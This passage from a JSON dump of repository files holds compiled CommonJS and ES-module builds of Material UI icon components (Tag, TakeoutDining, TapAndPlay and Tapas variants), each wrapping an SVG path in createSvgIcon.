    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10V8h-4V4h-2v4h-4V4H8v4H4v2h4v4H4v2h4v4h2v-4h4v4h2v-4h4v-2h-4v-4zm-6 4h-4v-4h4z\"\n}), 'TagSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TagSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10V8h-4V4h-2v4h-4V4H8v4H4v2h4v4H4v2h4v4h2v-4h4v4h2v-4h4v-2h-4v-4zm-6 4h-4v-4h4z\"\n}), 'TagSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TagTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10V8h-4V4h-2v4h-4V4H8v4H4v2h4v4H4v2h4v4h2v-4h4v4h2v-4h4v-2h-4v-4zm-6 4h-4v-4h4z\"\n}), 'TagTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TagTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10V8h-4V4h-2v4h-4V4H8v4H4v2h4v4H4v2h4v4h2v-4h4v4h2v-4h4v-2h-4v-4zm-6 4h-4v-4h4z\"\n}), 'TagTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TakeoutDining.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M5.26 11h13.48l-.67 9H5.93zm3.76-7h5.95L19 7.38l1.59-1.59L22 7.21 19.21 10H4.79L2 7.21 3.41 5.8 5 7.38z\"\n}), 'TakeoutDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/TakeoutDining.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M5.26 11h13.48l-.67 9H5.93zm3.76-7h5.95L19 7.38l1.59-1.59L22 7.21 19.21 10H4.79L2 7.21 3.41 5.8 5 7.38z\"\n}), 'TakeoutDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/TakeoutDiningOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7.79 18-.51-7h9.46l-.51 7zM9.83 5h4.33l2.8 2.73L16.87 9H7.12l-.09-1.27zM22 7.46l-1.41-1.41L19 7.63l.03-.56L14.98 3H9.02L4.97 7.07l.03.5-1.59-1.56L2 7.44l3.23 3.11.7 9.45h12.14l.7-9.44z\"\n}), 'TakeoutDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TakeoutDiningOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m7.79 18-.51-7h9.46l-.51 7zM9.83 5h4.33l2.8 2.73L16.87 9H7.12l-.09-1.27zM22 7.46l-1.41-1.41L19 7.63l.03-.56L14.98 3H9.02L4.97 7.07l.03.5-1.59-1.56L2 7.44l3.23 3.11.7 9.45h12.14l.7-9.44z\"\n}), 'TakeoutDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TakeoutDiningRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.29 6.75a.984.984 0 0 0-1.4 0l-.89.88.03-.56-3.46-3.48c-.38-.38-.89-.59-1.42-.59h-4.3c-.53 0-1.04.21-1.42.59L4.97 7.07l.03.5-.89-.87c-.39-.38-1.01-.38-1.39.01l-.02.02c-.38.39-.38 1.02.02 1.4L4.66 10h14.69l1.92-1.84c.4-.38.41-1.02.02-1.41m-15.5 11.4c.08 1.04.95 1.85 2 1.85h8.43c1.05 0 1.92-.81 1.99-1.85l.49-6.6H5.3z\"\n}), 'TakeoutDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TakeoutDiningRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.29 6.75a.984.984 0 0 0-1.4 0l-.89.88.03-.56-3.46-3.48c-.38-.38-.89-.59-1.42-.59h-4.3c-.53 0-1.04.21-1.42.59L4.97 7.07l.03.5-.89-.87c-.39-.38-1.01-.38-1.39.01l-.02.02c-.38.39-.38 1.02.02 1.4L4.66 10h14.69l1.92-1.84c.4-.38.41-1.02.02-1.41m-15.5 11.4c.08 1.04.95 1.85 2 1.85h8.43c1.05 0 1.92-.81 1.99-1.85l.49-6.6H5.3z\"\n}), 'TakeoutDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TakeoutDiningSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 7.46-1.41-1.41L19 7.63l.03-.56L14.98 3H9.02L4.97 7.07l.03.5-1.59-1.56L2 7.44 4.66 10h14.69zM5.93 20h12.14l.63-8.45H5.3z\"\n}), 'TakeoutDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TakeoutDiningSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 7.46-1.41-1.41L19 7.63l.03-.56L14.98 3H9.02L4.97 7.07l.03.5-1.59-1.56L2 7.44 4.66 10h14.69zM5.93 20h12.14l.63-8.45H5.3z\"\n}), 'TakeoutDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TakeoutDiningTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.83 5-2.8 2.73L7.12 9h9.75l.09-1.27L14.16 5zM7.79 18h8.44l.51-7H7.28z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.59 6.05 19 7.63l.03-.56L14.98 3H9.02L4.97 7.07l.03.5-1.59-1.56L2 7.44l3.23 3.11.7 9.45h12.14l.7-9.44L22 7.46zM16.23 18H7.79l-.51-7h9.46zm.64-9H7.12l-.09-1.27L9.83 5h4.33l2.8 2.73z\"\n}, \"1\")], 'TakeoutDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TakeoutDiningTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.83 5-2.8 2.73L7.12 9h9.75l.09-1.27L14.16 5zM7.79 18h8.44l.51-7H7.28z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.59 6.05 19 7.63l.03-.56L14.98 3H9.02L4.97 7.07l.03.5-1.59-1.56L2 7.44l3.23 3.11.7 9.45h12.14l.7-9.44L22 7.46zM16.23 18H7.79l-.51-7h9.46zm.64-9H7.12l-.09-1.27L9.83 5h4.33l2.8 2.73z\"\n}, \"1\")], 'TakeoutDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TapAndPlay.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0 4v3h3c0-1.66-1.34-3-3-3m0-8v2c4.97 0 9 4.03 9 9h2c0-6.08-4.92-11-11-11M17 1.01 7 1c-1.1 0-2 .9-2 2v7.37c.69.16 1.36.37 2 .64V5h10v13h-3.03c.52 1.25.84 2.59.95 4H17c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99\"\n}), 'TapAndPlay');"
  },
  {
    "path": "packages/mui-icons-material/lib/TapAndPlay.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0 4v3h3c0-1.66-1.34-3-3-3m0-8v2c4.97 0 9 4.03 9 9h2c0-6.08-4.92-11-11-11M17 1.01 7 1c-1.1 0-2 .9-2 2v7.37c.69.16 1.36.37 2 .64V5h10v13h-3.03c.52 1.25.84 2.59.95 4H17c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99\"\n}), 'TapAndPlay');"
  },
  {
    "path": "packages/mui-icons-material/lib/TapAndPlayOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0 4v3h3c0-1.66-1.34-3-3-3m0-8v2c4.97 0 9 4.03 9 9h2c0-6.08-4.92-11-11-11M17 1.01 7 1c-1.1 0-2 .9-2 2v7.37c.69.16 1.36.37 2 .64V5h10v13h-3.03c.52 1.25.84 2.59.95 4H17c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99\"\n}), 'TapAndPlayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TapAndPlayOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0 4v3h3c0-1.66-1.34-3-3-3m0-8v2c4.97 0 9 4.03 9 9h2c0-6.08-4.92-11-11-11M17 1.01 7 1c-1.1 0-2 .9-2 2v7.37c.69.16 1.36.37 2 .64V5h10v13h-3.03c.52 1.25.84 2.59.95 4H17c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99\"\n}), 'TapAndPlayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TapAndPlayRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.14 16.09c-.6-.1-1.14.39-1.14 1 0 .49.36.9.85.98 2.08.36 3.72 2 4.08 4.08.08.49.49.85.98.85.61 0 1.09-.54 1-1.14-.48-2.95-2.81-5.29-5.77-5.77M2 20v3h3c0-1.66-1.34-3-3-3m1.11-7.94c-.59-.06-1.11.4-1.11.99 0 .5.37.94.87.99 4.27.41 7.67 3.81 8.08 8.08.05.5.48.88.99.88.59 0 1.06-.51 1-1.1-.51-5.2-4.63-9.32-9.83-9.84M17 1.01 7 1c-1.1 0-2 .9-2 2v7.37c.69.16 1.36.37 2 .64V5h10v13h-3.03c.52 1.25.84 2.59.95 4H17c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99\"\n}), 'TapAndPlayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TapAndPlayRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.14 16.09c-.6-.1-1.14.39-1.14 1 0 .49.36.9.85.98 2.08.36 3.72 2 4.08 4.08.08.49.49.85.98.85.61 0 1.09-.54 1-1.14-.48-2.95-2.81-5.29-5.77-5.77M2 20v3h3c0-1.66-1.34-3-3-3m1.11-7.94c-.59-.06-1.11.4-1.11.99 0 .5.37.94.87.99 4.27.41 7.67 3.81 8.08 8.08.05.5.48.88.99.88.59 0 1.06-.51 1-1.1-.51-5.2-4.63-9.32-9.83-9.84M17 1.01 7 1c-1.1 0-2 .9-2 2v7.37c.69.16 1.36.37 2 .64V5h10v13h-3.03c.52 1.25.84 2.59.95 4H17c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99\"\n}), 'TapAndPlayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TapAndPlaySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0 4v3h3c0-1.66-1.34-3-3-3m0-8v2c4.97 0 9 4.03 9 9h2c0-6.08-4.92-11-11-11M5 1v9.37c.69.16 1.36.37 2 .64V5h10v13h-3.03c.52 1.25.84 2.59.95 4H19V1z\"\n}), 'TapAndPlaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TapAndPlaySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0 4v3h3c0-1.66-1.34-3-3-3m0-8v2c4.97 0 9 4.03 9 9h2c0-6.08-4.92-11-11-11M5 1v9.37c.69.16 1.36.37 2 .64V5h10v13h-3.03c.52 1.25.84 2.59.95 4H19V1z\"\n}), 'TapAndPlaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TapAndPlayTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0 4v3h3c0-1.66-1.34-3-3-3m0-8v2c4.97 0 9 4.03 9 9h2c0-6.08-4.92-11-11-11M17 1.01 7 1c-1.1 0-2 .9-2 2v7.37c.69.16 1.36.37 2 .64V5h10v13h-3.03c.52 1.25.84 2.59.95 4H17c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99\"\n}), 'TapAndPlayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TapAndPlayTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0 4v3h3c0-1.66-1.34-3-3-3m0-8v2c4.97 0 9 4.03 9 9h2c0-6.08-4.92-11-11-11M17 1.01 7 1c-1.1 0-2 .9-2 2v7.37c.69.16 1.36.37 2 .64V5h10v13h-3.03c.52 1.25.84 2.59.95 4H17c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99\"\n}), 'TapAndPlayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tapas.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10V1h-8v9c0 1.86 1.28 3.41 3 3.86V21h-2v2h6v-2h-2v-7.14c1.72-.45 3-2 3-3.86m-2-7v3h-4V3zm-7.5 8.5c0 1.38-1.12 2.5-2.5 2.5H8v9H6v-9H4c-1.38 0-2.5-1.12-2.5-2.5S2.62 9 4 9h2V8H4C2.62 8 1.5 6.88 1.5 5.5S2.62 3 4 3h2V1h2v2h2c1.38 0 2.5 1.12 2.5 2.5S11.38 8 10 8H8v1h2c1.38 0 2.5 1.12 2.5 2.5\"\n}), 'Tapas');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tapas.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10V1h-8v9c0 1.86 1.28 3.41 3 3.86V21h-2v2h6v-2h-2v-7.14c1.72-.45 3-2 3-3.86m-2-7v3h-4V3zm-7.5 8.5c0 1.38-1.12 2.5-2.5 2.5H8v9H6v-9H4c-1.38 0-2.5-1.12-2.5-2.5S2.62 9 4 9h2V8H4C2.62 8 1.5 6.88 1.5 5.5S2.62 3 4 3h2V1h2v2h2c1.38 0 2.5 1.12 2.5 2.5S11.38 8 10 8H8v1h2c1.38 0 2.5 1.12 2.5 2.5\"\n}), 'Tapas');"
  },
  {
    "path": "packages/mui-icons-material/lib/TapasOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10V1h-8v9c0 1.86 1.28 3.41 3 3.86V21h-2v2h6v-2h-2v-7.14c1.72-.45 3-2 3-3.86m-2-7v3h-4V3zm-4 7V8h4v2c0 1.1-.9 2-2 2s-2-.9-2-2m-6-1H8V8h2c1.38 0 2.5-1.12 2.5-2.5S11.38 3 10 3H8V1H6v2H4C2.62 3 1.5 4.12 1.5 5.5S2.62 8 4 8h2v1H4c-1.38 0-2.5 1.12-2.5 2.5S2.62 14 4 14h2v9h2v-9h2c1.38 0 2.5-1.12 2.5-2.5S11.38 9 10 9M4 6c-.28 0-.5-.22-.5-.5S3.72 5 4 5h6c.28 0 .5.22.5.5s-.22.5-.5.5zm6 6H4c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h6c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'TapasOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TapasOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10V1h-8v9c0 1.86 1.28 3.41 3 3.86V21h-2v2h6v-2h-2v-7.14c1.72-.45 3-2 3-3.86m-2-7v3h-4V3zm-4 7V8h4v2c0 1.1-.9 2-2 2s-2-.9-2-2m-6-1H8V8h2c1.38 0 2.5-1.12 2.5-2.5S11.38 3 10 3H8V1H6v2H4C2.62 3 1.5 4.12 1.5 5.5S2.62 8 4 8h2v1H4c-1.38 0-2.5 1.12-2.5 2.5S2.62 14 4 14h2v9h2v-9h2c1.38 0 2.5-1.12 2.5-2.5S11.38 9 10 9M4 6c-.28 0-.5-.22-.5-.5S3.72 5 4 5h6c.28 0 .5.22.5.5s-.22.5-.5.5zm6 6H4c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h6c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'TapasOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TapasRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10V2c0-.55-.45-1-1-1h-6c-.55 0-1 .45-1 1v8c0 1.86 1.28 3.41 3 3.86V21h-1c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1h-1v-7.14c1.72-.45 3-2 3-3.86m-2-7v3h-4V3zM9.86 9H8V8h1.86c1.31 0 2.5-.94 2.63-2.24C12.64 4.26 11.47 3 10 3H8V2c0-.55-.45-1-1-1s-1 .45-1 1v1H4.14c-1.31 0-2.5.94-2.63 2.24C1.36 6.74 2.53 8 4 8h2v1H4.14c-1.31 0-2.5.94-2.63 2.24C1.36 12.74 2.53 14 4 14h2v8c0 .55.45 1 1 1s1-.45 1-1v-8h2c1.47 0 2.64-1.26 2.49-2.76C12.36 9.94 11.17 9 9.86 9\"\n}), 'TapasRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TapasRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10V2c0-.55-.45-1-1-1h-6c-.55 0-1 .45-1 1v8c0 1.86 1.28 3.41 3 3.86V21h-1c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1h-1v-7.14c1.72-.45 3-2 3-3.86m-2-7v3h-4V3zM9.86 9H8V8h1.86c1.31 0 2.5-.94 2.63-2.24C12.64 4.26 11.47 3 10 3H8V2c0-.55-.45-1-1-1s-1 .45-1 1v1H4.14c-1.31 0-2.5.94-2.63 2.24C1.36 6.74 2.53 8 4 8h2v1H4.14c-1.31 0-2.5.94-2.63 2.24C1.36 12.74 2.53 14 4 14h2v8c0 .55.45 1 1 1s1-.45 1-1v-8h2c1.47 0 2.64-1.26 2.49-2.76C12.36 9.94 11.17 9 9.86 9\"\n}), 'TapasRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TapasSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10V1h-8v9c0 1.86 1.28 3.41 3 3.86V21h-2v2h6v-2h-2v-7.14c1.72-.45 3-2 3-3.86m-2-7v3h-4V3zM10 9H8V8h2c1.38 0 2.5-1.12 2.5-2.5S11.38 3 10 3H8V1H6v2H4C2.62 3 1.5 4.12 1.5 5.5S2.62 8 4 8h2v1H4c-1.38 0-2.5 1.12-2.5 2.5S2.62 14 4 14h2v9h2v-9h2c1.38 0 2.5-1.12 2.5-2.5S11.38 9 10 9\"\n}), 'TapasSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TapasSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10V1h-8v9c0 1.86 1.28 3.41 3 3.86V21h-2v2h6v-2h-2v-7.14c1.72-.45 3-2 3-3.86m-2-7v3h-4V3zM10 9H8V8h2c1.38 0 2.5-1.12 2.5-2.5S11.38 3 10 3H8V1H6v2H4C2.62 3 1.5 4.12 1.5 5.5S2.62 8 4 8h2v1H4c-1.38 0-2.5 1.12-2.5 2.5S2.62 14 4 14h2v9h2v-9h2c1.38 0 2.5-1.12 2.5-2.5S11.38 9 10 9\"\n}), 'TapasSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TapasTwoTone.js",
